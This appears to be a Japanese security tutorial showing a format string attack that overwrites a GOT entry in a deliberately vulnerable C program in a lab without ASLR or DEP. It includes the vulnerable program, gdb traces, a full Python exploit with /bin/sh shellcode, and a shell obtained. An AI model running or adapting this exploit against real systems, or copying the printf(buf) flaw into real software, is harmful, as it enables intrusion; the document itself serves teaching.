format string attackによるGOT overwriteをやってみる

一つ前のエントリではformat string attackによるメモリ読み出しをやってみたが、format string attackでは任意の位置のメモリ内容を書き換えることもできる。 ここでは、実際にGOT (Global Offset Table) と呼ばれるセクションに置かれるライブラリ関数のアドレスをシェルコードのアドレスに置き換え、シェルを起動させてみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

コマンドライン引数がそのままprintfのフォーマット文字列になっているコードを書く。

/* fsb.c */
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[100];
    printf("[+] buf = %p\n", buf);
    strncpy(buf, argv[1], 100);
    printf(buf);
    putchar('\n');
    return 0;
}

SSP有効、ASLR、DEP無効でコンパイル・実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -z execstack fsb.c
fsb.c: In function ‘main’:
fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security]

$ ./a.out AAAA
[+] buf = 0xbffff708
AAAA

任意のアドレスにあるメモリ内容を書き換えてみる

printf系関数には%n指定子というものがあり、これはその時点までに書き出されたバイト数を引数で指定されたアドレスが指すメモリに書き込む。 たとえば、次のような感じである。

char *buffer;
int len;
printf("%s%n\n", buffer, &len);  /* bufferが出力されると同時に、その文字列長がlenに書き込まれる */

一つ前のエントリに書いたように、フォーマット文字列はスタック上にあるため次のように参照可能である。

$ ./a.out 'AAAA%10$08x'
[+] buf = 0xbffff6f8
AAAA41414141

つまり、AAAAの代わりに書き換えたいアドレスをセットし、%100cなどで適当な数（ここでは100）だけ文字を出力した上で%10$nを指定すれば、そのアドレスにあるメモリ4バイトを任意の値に書き換えることができる。 たとえば、0xaabbccddからの4バイトを11 00 00 00 (=17) に書き換えるには次のようにする。

$ ./a.out $'\xdd\xcc\xbb\xaa%13c%10$n'
[+] buf = 0xbffff6f8
Segmentation fault (core dumped)

先頭のアドレス指定ですでに4バイト出力しているので%cで出力させる文字数には目的の数から4引いた数を指定する。 なお、ここでは適当なアドレスを指定しているためセグメント違反で落ちている。

上の方法で4バイト書き換えるとき、文字数をそのまま指定すると大量の文字を出力することになり時間がかかる。 そこで、先頭から1バイトずつ4回に分けて書き換える方法が取られる。 また、%nの代わりに%hnを使うと2バイト、%hhnを使うと1バイトのみの書き換えにすることができる。 ここで出力文字数が書き換えられるバイト長を越えた場合については、上位のバイトが無視される。

上記のことを利用して0xaabbccddからの4バイトを11 22 33 44で書き換える場合、送り込むフォーマット文字列は次のようになる。

$ python
>>> "\xdd\xcc\xbb\xaa" + "\xde\xcc\xbb\xaa" + "\xdf\xcc\xbb\xaa" + "\xe0\xcc\xbb\xaa" \
... + "%%%dc" % (0x44-16)             + "%10$n" \
... + "%%%dc" % (0x33 - 0x44 + 0x100) + "%11$n" \
... + "%%%dc" % (0x22 - 0x33 + 0x100) + "%12$n" \
... + "%%%dc" % (0x11 - 0x22 + 0x100) + "%13$n"
'\xdd\xcc\xbb\xaa\xde\xcc\xbb\xaa\xdf\xcc\xbb\xaa\xe0\xcc\xbb\xaa%52c%10$n%239c%11$n%239c%12$n%239c%13$n'

これは、フォーマット文字列までのオフセットが10の場合についての例である。

GOTによるライブラリ関数呼び出しについて調べてみる

コンパイル時に共有ライブラリをダイナミックリンクした場合、共有ライブラリの関数はGOT (Global Offset Table) と呼ばれるジャンプテーブルを介して呼び出される。 この流れを、最初に書いた脆弱性のあるプログラムをgdbで実行することによって確認してみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   ...
   0x080484c6 <+50>:    call   0x8048380 <printf@plt>
   ...
   0x080484f3 <+95>:    call   0x8048380 <printf@plt>
   ...
End of assembler dump.
(gdb) disas 0x8048380
Dump of assembler code for function printf@plt:
   0x08048380 <+0>:     jmp    DWORD PTR ds:0x804a000
   0x08048386 <+6>:     push   0x0
   0x0804838b <+11>:    jmp    0x8048370
End of assembler dump.
(gdb) b *main+50
Breakpoint 1 at 0x80484c6
(gdb) b *main+95
Breakpoint 2 at 0x80484f3
(gdb) run AAAA
Starting program: /home/user/tmp/a.out AAAA

Breakpoint 1, 0x080484c6 in main ()
(gdb) x/xw 0x804a000
0x804a000 <[email protected]>:     0x08048386

printfが呼ばれるとき、まずprintf@pltがcallされ、0x804a000に書かれたアドレスにジャンプするようになっていることがわかる。 最初に書いたコードではprintfが2回呼ばれているが、1回目のときこのアドレスはprintf@pltの2行目である。

(gdb) c
Continuing.
[+] buf = 0xbffff6f8

Breakpoint 2, 0x080484f3 in main ()
(gdb) x/xw 0x804a000
0x804a000 <[email protected]>:     0xb7e78ed0
(gdb) disas 0xb7e78ed0
Dump of assembler code for function printf:
   0xb7e78ed0 <+0>:     push   ebx
   0xb7e78ed1 <+1>:     sub    esp,0x18
   0xb7e78ed4 <+4>:     call   0xb7f57d53
   0xb7e78ed9 <+9>:     add    ebx,0x15911b
   0xb7e78edf <+15>:    lea    eax,[esp+0x24]
   0xb7e78ee3 <+19>:    mov    DWORD PTR [esp+0x8],eax
   0xb7e78ee7 <+23>:    mov    eax,DWORD PTR [esp+0x20]
   0xb7e78eeb <+27>:    mov    DWORD PTR [esp+0x4],eax
   0xb7e78eef <+31>:    mov    eax,DWORD PTR [ebx-0x7c]
   0xb7e78ef5 <+37>:    mov    eax,DWORD PTR [eax]
   0xb7e78ef7 <+39>:    mov    DWORD PTR [esp],eax
   0xb7e78efa <+42>:    call   0xb7e6eab0 <vfprintf>
   0xb7e78eff <+47>:    add    esp,0x18
   0xb7e78f02 <+50>:    pop    ebx
   0xb7e78f03 <+51>:    ret
End of assembler dump.
(gdb) c
Continuing.
AAAA
[Inferior 1 (process 7481) exited normally]
(gdb) q

2回目のprintfが来るまで処理を進めると、まず1回目のprintfがきちんと呼ばれていることがわかる。 そして、ここで0x804a000に書かれたアドレスを見ると、実際のprintfの関数に書き変わっている。 この仕組みは遅延バインドと呼ばれる。

ここまでの流れから、0x804a000に書かれたアドレスを書き換えれば任意のアドレスにジャンプさせられることがわかる。 実際0x804a000が含まれる.got.pltセクションは書き換え可能になっている。

$ readelf -S a.out
There are 30 section headers, starting at offset 0x1148:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  ...
  [23] .got.plt          PROGBITS        08049ff4 000ff4 000024 04  WA  0   0  4
  [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
  ...
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

試しにgdbで0x804a000を書き換えてみると、ジャンプ先を変えることに成功していることがわかる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) start
Temporary breakpoint 1 at 0x8048497
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048497 in main ()
(gdb) set {int}0x804a000 = 0xcccccccc
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xcccccccc in ?? ()
(gdb) quit
A debugging session is active.

        Inferior 1 [process 7493] will be killed.

Quit anyway? (y or n) y

エクスプロイトコードを書いてみる

以上の内容をもとに、GOTを書き換えシェルコードにジャンプさせるエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

addr_got = int(sys.argv[1], 16)
addr_buf = int(sys.argv[2], 16)
index = int(sys.argv[3])

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

buf = struct.pack('<I', addr_got)
buf += struct.pack('<I', addr_got+1)
buf += struct.pack('<I', addr_got+2)
buf += struct.pack('<I', addr_got+3)
buf += shellcode

a = map(ord, struct.pack('<I', addr_buf + 16))
a[3] = ((a[3]-a[2]-1) % 0x100) + 1
a[2] = ((a[2]-a[1]-1) % 0x100) + 1
a[1] = ((a[1]-a[0]-1) % 0x100) + 1
a[0] = ((a[0]-len(buf)-1) % 0x100) + 1

buf += "%%%dc%%%d$hhn" % (a[0], index)
buf += "%%%dc%%%d$hhn" % (a[1], index+1)
buf += "%%%dc%%%d$hhn" % (a[2], index+2)
buf += "%%%dc%%%d$hhn" % (a[3], index+3)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

このコードは、書き換えたいGOTのアドレス、バッファの先頭アドレス、フォーマット文字列までのオフセットを順に引数に取る。 そして、GOTの値をバッファの先頭から16バイト先にあるシェルコードのアドレスに書き換える。

format string attackが行われるのは2回目のprintfであるので、その後にあるputchar関数のGOTの値を書き換えることを考える。 putchar関数のGOTのアドレスとフォーマット文字列までのオフセットをそれぞれ調べ、実行してみる。

$ objdump -d -j.plt a.out
080483c0 <putchar@plt>:
 80483c0:       ff 25 10 a0 04 08       jmp    DWORD PTR ds:0x804a010
 80483c6:       68 20 00 00 00          push   0x20
 80483cb:       e9 a0 ff ff ff          jmp    8048370 <_init+0x34>

$ ./a.out 'AAAA%10$08x'
[+] buf = 0xbffff6f8
AAAA41414141

$ python exploit.py 0x804a010 0xbffff6f8 10
[+] buf = 0xbffff6a8

$ python exploit.py 0x804a010 0xbffff6a8 10
[+] buf = 0xbffff6a8
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

GOTの値がスタック上のシェルコードのアドレスに書き変わり、シェルが起動することが確認できた。

関連リンク

• ld -z relro で GOT overwrite attack から身を守る - memologue
• RELRO: RELocation Read-Only | NYU Poly ISIS Lab